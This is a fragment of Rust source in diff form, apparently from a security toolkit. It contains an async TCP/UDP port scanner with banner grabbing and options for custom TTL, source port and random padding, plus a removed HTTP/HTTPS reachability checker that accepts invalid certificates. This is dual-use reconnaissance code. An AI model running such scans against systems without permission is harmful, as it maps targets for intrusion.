|
||||
// Scan Method Selection
|
||||
println!("\n{}", "Scan Method:".yellow());
|
||||
println!(" 1. TCP Connect Scan (Default)");
|
||||
println!(" 2. UDP Scan");
|
||||
println!(" 3. Both TCP & UDP");
|
||||
let method_choice = prompt_usize("Select method (1-3) [1]: ").unwrap_or(1);
|
||||
let scan_method = match method_choice {
|
||||
2 => ScanMethod::Udp,
|
||||
3 => ScanMethod::Both,
|
||||
_ => ScanMethod::TcpConnect,
|
||||
};
|
||||
|
||||
// Advanced Options
|
||||
let ttl = if prompt_bool("Enable custom TTL? (y/n) [n]: ").unwrap_or(false) {
|
||||
Some(prompt_usize("TTL value (1-255): ").unwrap_or(64) as u32)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let source_port = if prompt_bool("Enable custom Source Port? (y/n) [n]: ").unwrap_or(false) {
|
||||
Some(prompt_usize("Source Port (1-65535): ").unwrap_or(0) as u16)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let data_length = if prompt_bool("Enable garbage data / payload padding? (y/n) [n]: ").unwrap_or(false) {
|
||||
Some(prompt_usize("Data length (bytes): ").unwrap_or(0))
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
Ok(ScanSettings {
|
||||
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
|
||||
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
|
||||
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
|
||||
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
|
||||
scan_method,
|
||||
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
|
||||
port_range,
|
||||
ttl,
|
||||
source_port,
|
||||
data_length,
|
||||
})
|
||||
}
|
||||
|
||||
/// Main entrypoint for interactive CLI mode
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let settings = prompt_settings()?;
|
||||
run_with_settings(
|
||||
target,
|
||||
settings.concurrency,
|
||||
settings.timeout_secs,
|
||||
settings.show_only_open,
|
||||
settings.verbose,
|
||||
settings.scan_method,
|
||||
&settings.output_file,
|
||||
settings.port_range,
|
||||
settings.ttl,
|
||||
settings.source_port,
|
||||
settings.data_length,
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
/// === Core Scanner Logic ===
|
||||
pub async fn run_with_settings(
|
||||
target: &str,
|
||||
concurrency: usize,
|
||||
timeout_secs: u64,
|
||||
show_only_open: bool,
|
||||
_verbose: bool,
|
||||
scan_method: ScanMethod,
|
||||
output_file: &str,
|
||||
port_range: PortRange,
|
||||
ttl: Option<u32>,
|
||||
source_port: Option<u16>,
|
||||
data_length: Option<usize>,
|
||||
) -> Result<()> {
|
||||
let start_time = Instant::now();
|
||||
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
|
||||
|
||||
let ports = port_range.get_ports();
|
||||
let total_ports = ports.len() * (if scan_method == ScanMethod::Both { 2 } else { 1 });
|
||||
|
||||
let stats = Arc::new(Mutex::new(ScanStats::new()));
|
||||
let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
|
||||
|
||||
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
|
||||
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
|
||||
let timestamp = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap_or(Duration::from_secs(0))
|
||||
.as_secs();
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Scan started at: {}\n", timestamp)?;
|
||||
|
||||
// TCP Scan
|
||||
let mut tcp_tasks = vec![];
|
||||
|
||||
if scan_method == ScanMethod::TcpConnect || scan_method == ScanMethod::Both {
|
||||
println!("{}", "\n[*] Starting TCP scan...".yellow());
|
||||
for port in &ports {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let file = file.clone();
|
||||
let stats = stats.clone();
|
||||
let progress = progress.clone();
|
||||
let ip = resolved_ip;
|
||||
let ip_str = resolved_ip_str.clone();
|
||||
let port = *port;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
let result = scan_tcp(&ip, port, timeout_secs, ttl, source_port, data_length).await;
|
||||
|
||||
let mut stats_guard = stats.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let mut progress_guard = progress.lock().unwrap_or_else(|e| e.into_inner());
|
||||
|
||||
if let Some((status, banner, service)) = result {
|
||||
match status.as_str() {
|
||||
"OPEN" => {
|
||||
stats_guard.tcp_open += 1;
|
||||
let service_name = if service.is_empty() { get_service_name(port) } else { &service };
|
||||
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
|
||||
|
||||
if !show_only_open {
|
||||
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
|
||||
}
|
||||
|
||||
let output_line = if !banner.is_empty() {
|
||||
format!("{} | Banner: {}", line, banner.trim().bright_black())
|
||||
} else {
|
||||
line
|
||||
};
|
||||
|
||||
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", output_line);
|
||||
println!("{}", output_line);
|
||||
}
|
||||
"CLOSED" => stats_guard.tcp_closed += 1,
|
||||
"TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
progress_guard.increment(&start_time);
|
||||
if progress_guard.should_print() {
|
||||
progress_guard.print_progress();
|
||||
}
|
||||
});
|
||||
tcp_tasks.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// UDP Scan
|
||||
let mut udp_tasks = vec![];
|
||||
if scan_method == ScanMethod::Udp || scan_method == ScanMethod::Both {
|
||||
println!("{}", "\n[*] Starting UDP scan...".yellow());
|
||||
for port in &ports {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let file = file.clone();
|
||||
let stats = stats.clone();
|
||||
let progress = progress.clone();
|
||||
let ip = resolved_ip;
|
||||
let ip_str = resolved_ip_str.clone();
|
||||
let port = *port;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
let result = scan_udp(&ip, port, timeout_secs, ttl, source_port, data_length).await;
|
||||
|
||||
let mut stats_guard = stats.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let mut progress_guard = progress.lock().unwrap_or_else(|e| e.into_inner());
|
||||
|
||||
if let Some(status) = result {
|
||||
match status.as_str() {
|
||||
"OPEN" => {
|
||||
stats_guard.udp_open += 1;
|
||||
let service_name = get_service_name(port);
|
||||
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
|
||||
|
||||
if !show_only_open {
|
||||
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
|
||||
}
|
||||
|
||||
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
|
||||
println!("{}", line);
|
||||
}
|
||||
"CLOSED" => stats_guard.udp_closed += 1,
|
||||
"FILTERED" => stats_guard.udp_filtered += 1,
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
progress_guard.increment(&start_time);
|
||||
if progress_guard.should_print() {
|
||||
progress_guard.print_progress();
|
||||
}
|
||||
});
|
||||
udp_tasks.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// Await all tasks
|
||||
for task in tcp_tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
for task in udp_tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
let stats = stats.lock().unwrap_or_else(|e| e.into_inner());
|
||||
|
||||
// Print summary
|
||||
println!("\n{}", "=== Scan Summary ===".cyan().bold());
|
||||
println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
|
||||
println!("\n{}", "TCP Ports:".yellow());
|
||||
println!(" {} Open: {}", "✓".green(), stats.tcp_open.to_string().green().bold());
|
||||
println!(" {} Closed: {}", "✗".red(), stats.tcp_closed);
|
||||
println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
|
||||
|
||||
if scan_method == ScanMethod::Udp || scan_method == ScanMethod::Both {
|
||||
println!("\n{}", "UDP Ports:".yellow());
|
||||
println!(" {} Open: {}", "✓".green(), stats.udp_open.to_string().green().bold());
|
||||
println!(" {} Closed: {}", "✗".red(), stats.udp_closed);
|
||||
println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered);
|
||||
}
|
||||
|
||||
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
|
||||
|
||||
// Write summary to file
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\n=== Scan Summary ===")?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\nTCP Ports:")?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Open: {}", stats.tcp_open)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Closed: {}", stats.tcp_closed)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Filtered/Timeout: {}", stats.tcp_filtered)?;
|
||||
if scan_method == ScanMethod::Udp || scan_method == ScanMethod::Both {
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\nUDP Ports:")?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Open: {}", stats.udp_open)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Closed: {}", stats.udp_closed)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Filtered: {}", stats.udp_filtered)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// === TCP Port Scanner with Enhanced Banner Grabbing ===
|
||||
async fn scan_tcp(
|
||||
ip: &std::net::IpAddr,
|
||||
port: u16,
|
||||
timeout_secs: u64,
|
||||
ttl: Option<u32>,
|
||||
source_port: Option<u16>,
|
||||
data_length: Option<usize>
|
||||
) -> Option<(String, String, String)> {
|
||||
let addr = SocketAddr::new(*ip, port);
|
||||
|
||||
// Create socket using socket2
|
||||
let domain = if addr.is_ipv4() { Domain::IPV4 } else { Domain::IPV6 };
|
||||
let socket = match Socket::new(domain, Type::STREAM, Some(Protocol::TCP)) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return Some(("ERROR".into(), "".into(), "".into())),
|
||||
};
|
||||
|
||||
// Set options
|
||||
if let Some(ttl_val) = ttl {
|
||||
if domain == Domain::IPV4 {
|
||||
let _ = socket.set_ttl_v4(ttl_val);
|
||||
} else {
|
||||
let _ = socket.set_unicast_hops_v6(ttl_val);
|
||||
}
|
||||
}
|
||||
|
||||
let _ = socket.set_nonblocking(true);
|
||||
let _ = socket.set_tcp_nodelay(true);
|
||||
|
||||
// Bind to custom source port if configured
|
||||
if let Some(src_port) = source_port {
|
||||
let bind_addr = if addr.is_ipv4() {
|
||||
SocketAddr::new(std::net::IpAddr::V4(std::net::Ipv4Addr::new(0, 0, 0, 0)), src_port)
|
||||
} else {
|
||||
SocketAddr::new(std::net::IpAddr::V6(std::net::Ipv6Addr::new(0, 0, 0, 0, 0, 0, 0, 0)), src_port)
|
||||
};
|
||||
let _ = socket.bind(&bind_addr.into());
|
||||
}
|
||||
|
||||
// Connect (non-blocking)
|
||||
let connect_res = socket.connect(&addr.into());
|
||||
match connect_res {
|
||||
Ok(_) => {},
|
||||
Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {},
|
||||
Err(_) => return Some(("CLOSED".into(), "".into(), "".into())),
|
||||
}
|
||||
|
||||
// Convert to Tokio TcpStream
|
||||
let std_stream: std::net::TcpStream = socket.into();
|
||||
let stream_res = TcpStream::from_std(std_stream);
|
||||
|
||||
match stream_res {
|
||||
Ok(mut stream) => {
|
||||
// Wait for connection to complete
|
||||
if let Ok(_) = timeout(Duration::from_secs(timeout_secs), stream.writable()).await {
|
||||
// Check for socket error
|
||||
if let Ok(None) = stream.take_error() {
|
||||
// Send garbage data if configured
|
||||
if let Some(len) = data_length {
|
||||
if len > 0 {
|
||||
let payload: Vec<u8> = {
|
||||
let mut rng = rng();
|
||||
(0..len).map(|_| rng.random()).collect()
|
||||
};
|
||||
let _ = stream.write_all(&payload).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Try service-specific probes
|
||||
let (banner, service) = grab_banner(&mut stream, port).await;
|
||||
Some(("OPEN".into(), banner, service))
|
||||
} else {
|
||||
Some(("CLOSED".into(), "".into(), "".into()))
|
||||
}
|
||||
} else {
|
||||
Some(("TIMEOUT".into(), "".into(), "".into()))
|
||||
}
|
||||
}
|
||||
Err(_) => Some(("CLOSED".into(), "".into(), "".into())),
|
||||
}
|
||||
}
|
||||
|
||||
/// Enhanced banner grabbing with service-specific probes
|
||||
async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
|
||||
let mut buf = [0u8; 2048];
|
||||
|
||||
// Try to read initial banner (works for FTP, SMTP, POP3, etc.)
|
||||
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
let service = detect_service_from_banner(&banner, port);
|
||||
return (banner, service);
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
// Service-specific probes
|
||||
match port {
|
||||
80 | 8080 => {
|
||||
// HTTP probe
|
||||
if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
if n > 0 {
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
if let Some(server) = extract_http_server(&response) {
|
||||
return (response.trim().to_string(), format!("HTTP ({})", server));
|
||||
}
|
||||
return (response.trim().to_string(), "HTTP".into());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
443 => {
|
||||
// HTTPS - can't easily probe without TLS, just return empty
|
||||
return ("".into(), "HTTPS".into());
|
||||
}
|
||||
22 => {
|
||||
// SSH - read SSH banner
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
if n > 0 {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
return (banner, "SSH".into());
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
// Try reading again for other services
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
|
||||
if n > 0 {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
let service = detect_service_from_banner(&banner, port);
|
||||
return (banner, service);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
("".into(), "".into())
|
||||
}
|
||||
|
||||
fn detect_service_from_banner(banner: &str, port: u16) -> String {
|
||||
let banner_lower = banner.to_lowercase();
|
||||
|
||||
if banner_lower.contains("ssh") {
|
||||
"SSH".into()
|
||||
} else if banner_lower.contains("ftp") {
|
||||
"FTP".into()
|
||||
} else if banner_lower.contains("smtp") {
|
||||
"SMTP".into()
|
||||
} else if banner_lower.contains("pop3") {
|
||||
"POP3".into()
|
||||
} else if banner_lower.contains("imap") {
|
||||
"IMAP".into()
|
||||
} else if banner_lower.contains("http") {
|
||||
"HTTP".into()
|
||||
} else if banner_lower.contains("mysql") {
|
||||
"MySQL".into()
|
||||
} else {
|
||||
get_service_name(port).to_string()
|
||||
}
|
||||
}
|
||||
|
||||
fn extract_http_server(response: &str) -> Option<String> {
|
||||
for line in response.lines() {
|
||||
if line.to_lowercase().starts_with("server:") {
|
||||
return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// === UDP Port Scanner ===
|
||||
async fn scan_udp(
|
||||
ip: &std::net::IpAddr,
|
||||
port: u16,
|
||||
timeout_secs: u64,
|
||||
ttl: Option<u32>,
|
||||
source_port: Option<u16>,
|
||||
data_length: Option<usize>
|
||||
) -> Option<String> {
|
||||
// Bind address (source port logic)
|
||||
let bind_port = source_port.unwrap_or(0);
|
||||
let bind_addr = if ip.is_ipv4() {
|
||||
SocketAddr::new(std::net::IpAddr::V4(std::net::Ipv4Addr::new(0, 0, 0, 0)), bind_port)
|
||||
} else {
|
||||
SocketAddr::new(std::net::IpAddr::V6(std::net::Ipv6Addr::new(0, 0, 0, 0, 0, 0, 0, 0)), bind_port)
|
||||
};
|
||||
|
||||
let sock = match UdpSocket::bind(bind_addr).await {
|
||||
Ok(s) => s,
|
||||
Err(_) => return Some("ERROR".into()),
|
||||
};
|
||||
|
||||
// Set TTL if configured
|
||||
if let Some(ttl_val) = ttl {
|
||||
let _ = sock.set_ttl(ttl_val);
|
||||
}
|
||||
|
||||
let target = SocketAddr::new(*ip, port);
|
||||
|
||||
// Payload generation
|
||||
let payload = if let Some(len) = data_length {
|
||||
if len > 0 {
|
||||
let mut rng = rng();
|
||||
(0..len).map(|_| rng.random()).collect()
|
||||
} else {
|
||||
b"\x00\x00\x10\x10".to_vec()
|
||||
}
|
||||
} else {
|
||||
b"\x00\x00\x10\x10".to_vec()
|
||||
};
|
||||
|
||||
let _ = sock.send_to(&payload, target).await;
|
||||
|
||||
let mut buf = [0u8; 512];
|
||||
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
|
||||
Ok(Ok((_len, _src))) => Some("OPEN".into()),
|
||||
Ok(Err(_)) => Some("CLOSED".into()),
|
||||
Err(_) => Some("FILTERED".into()),
|
||||
}
|
||||
}
|
||||
|
||||
/// === Target Resolution ===
|
||||
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
|
||||
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
|
||||
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
|
||||
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
|
||||
Ok((addr.ip().to_string(), addr.ip()))
|
||||
} else if let Some(addr) = addrs.first() {
|
||||
Ok((addr.ip().to_string(), addr.ip()))
|
||||
} else {
|
||||
Err(anyhow!("Could not resolve target '{}'", input))
|
||||
}
|
||||
}
|
||||
|
||||
/// === Prompt Utilities ===
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message.cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buf = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut buf)
|
||||
.context("Failed to read input")?;
|
||||
Ok(buf.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str) -> Result<bool> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Ok(false);
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(message: &str) -> Result<usize> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Err(anyhow!("Input required"));
|
||||
}
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
return Ok(n);
|
||||
}
|
||||
println!("{}", "Please enter a valid number.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
/// === Scan Statistics ===
|
||||
struct ScanStats {
|
||||
tcp_open: usize,
|
||||
tcp_closed: usize,
|
||||
tcp_filtered: usize,
|
||||
udp_open: usize,
|
||||
udp_closed: usize,
|
||||
udp_filtered: usize,
|
||||
}
|
||||
|
||||
impl ScanStats {
|
||||
fn new() -> Self {
|
||||
ScanStats {
|
||||
tcp_open: 0,
|
||||
tcp_closed: 0,
|
||||
tcp_filtered: 0,
|
||||
udp_open: 0,
|
||||
udp_closed: 0,
|
||||
udp_filtered: 0,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// === Progress Tracker ===
|
||||
struct ProgressTracker {
|
||||
total: usize,
|
||||
current: usize,
|
||||
last_print: usize,
|
||||
start_time: Option<Instant>,
|
||||
}
|
||||
|
||||
impl ProgressTracker {
|
||||
fn new(total: usize) -> Self {
|
||||
ProgressTracker {
|
||||
total,
|
||||
current: 0,
|
||||
last_print: 0,
|
||||
start_time: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn increment(&mut self, start_time: &Instant) {
|
||||
if self.start_time.is_none() {
|
||||
self.start_time = Some(*start_time);
|
||||
}
|
||||
self.current += 1;
|
||||
}
|
||||
|
||||
fn should_print(&self) -> bool {
|
||||
let diff = self.current - self.last_print;
|
||||
diff >= 100 || self.current == self.total
|
||||
}
|
||||
|
||||
fn print_progress(&mut self) {
|
||||
if self.current == 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
let percentage = (self.current as f64 / self.total as f64) * 100.0;
|
||||
let elapsed = match self.start_time {
|
||||
Some(s) => s.elapsed(),
|
||||
None => std::time::Duration::ZERO,
|
||||
};
|
||||
|
||||
let rate = if elapsed.as_secs() > 0 {
|
||||
self.current as f64 / elapsed.as_secs() as f64
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
let remaining = if rate > 0.0 {
|
||||
(self.total - self.current) as f64 / rate
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
print!("\r{}", format!(
|
||||
"[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
|
||||
self.current,
|
||||
self.total,
|
||||
percentage,
|
||||
rate,
|
||||
remaining
|
||||
).cyan());
|
||||
// Note: This is in a sync context (ProgressTracker), so we use blocking flush
|
||||
// The ProgressTracker is called from async context but uses sync printing
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
|
||||
if self.current == self.total {
|
||||
println!();
|
||||
}
|
||||
|
||||
self.last_print = self.current;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,215 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Connectivity Scanner ║".cyan());
|
||||
println!("{}", "║ Checks HTTP/HTTPS reachability and response codes ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let timeout_secs = prompt_timeout()?;
|
||||
let check_http = prompt_bool("Check HTTP (port 80)?", true)?;
|
||||
let check_https = prompt_bool("Check HTTPS (port 443)?", true)?;
|
||||
let verbose = prompt_bool("Verbose output?", false)?;
|
||||
let save_results = prompt_bool("Save results to file?", false)?;
|
||||
|
||||
if !check_http && !check_https {
|
||||
return Err(anyhow!("At least one protocol must be selected"));
|
||||
}
|
||||
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut results = Vec::new();
|
||||
let start = Instant::now();
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Starting scan...".cyan().bold());
|
||||
|
||||
// Check HTTP
|
||||
if check_http {
|
||||
let url = if target.contains("://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("http://{}", target)
|
||||
};
|
||||
|
||||
if verbose {
|
||||
println!("{}", format!("[*] Checking {}...", url).dimmed());
|
||||
}
|
||||
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let status_str = status.to_string();
|
||||
let content_type = resp.headers()
|
||||
.get("content-type")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
let server = resp.headers()
|
||||
.get("server")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] HTTP {} -> {} (Server: {}, Content-Type: {})",
|
||||
url, status_str, server, content_type).green());
|
||||
} else if status.is_redirection() {
|
||||
let location = resp.headers()
|
||||
.get("location")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
println!("{}", format!("[~] HTTP {} -> {} (Redirect: {})", url, status_str, location).yellow());
|
||||
} else {
|
||||
println!("{}", format!("[-] HTTP {} -> {}", url, status_str).red());
|
||||
}
|
||||
|
||||
results.push(format!("HTTP {} -> {} (Server: {})", url, status_str, server));
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] HTTP {} -> Error: {}", url, e).red());
|
||||
results.push(format!("HTTP {} -> Error: {}", url, e));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check HTTPS
|
||||
if check_https {
|
||||
let url = if target.contains("://") {
|
||||
target.replace("http://", "https://")
|
||||
} else {
|
||||
format!("https://{}", target)
|
||||
};
|
||||
|
||||
if verbose {
|
||||
println!("{}", format!("[*] Checking {}...", url).dimmed());
|
||||
}
|
||||
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let status_str = status.to_string();
|
||||
let server = resp.headers()
|
||||
.get("server")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
let content_type = resp.headers()
|
||||
.get("content-type")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] HTTPS {} -> {} (Server: {}, Content-Type: {})",
|
||||
url, status_str, server, content_type).green());
|
||||
} else if status.is_redirection() {
|
||||
let location = resp.headers()
|
||||
.get("location")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
println!("{}", format!("[~] HTTPS {} -> {} (Redirect: {})", url, status_str, location).yellow());
|
||||
} else {
|
||||
println!("{}", format!("[-] HTTPS {} -> {}", url, status_str).red());
|
||||
}
|
||||
|
||||
results.push(format!("HTTPS {} -> {} (Server: {})", url, status_str, server));
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] HTTPS {} -> Error: {}", url, e).red());
|
||||
results.push(format!("HTTPS {} -> Error: {}", url, e));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start.elapsed();
|
||||
|
||||
// Print summary
|
||||
println!();
|
||||
println!("{}", "=== Scan Summary ===".bold());
|
||||
println!(" Target: {}", target);
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
println!(" Checks: {}", results.len());
|
||||
|
||||
// Save results
|
||||
if save_results && !results.is_empty() {
|
||||
let filename = prompt_with_default("Output filename", "http_scan_results.txt")?;
|
||||
let mut file = File::create(&filename).context("Failed to create output file")?;
|
||||
writeln!(file, "HTTP Connectivity Scan Results")?;
|
||||
writeln!(file, "Target: {}", target)?;
|
||||
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64())?;
|
||||
writeln!(file)?;
|
||||
for result in &results {
|
||||
writeln!(file, "{}", result)?;
|
||||
}
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename).green());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{}", format!("{} [{}]: ", message, hint).cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", message, default).cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_timeout() -> Result<u64> {
|
||||
print!("{}", "Timeout in seconds [10]: ".cyan().bold());
|
||||
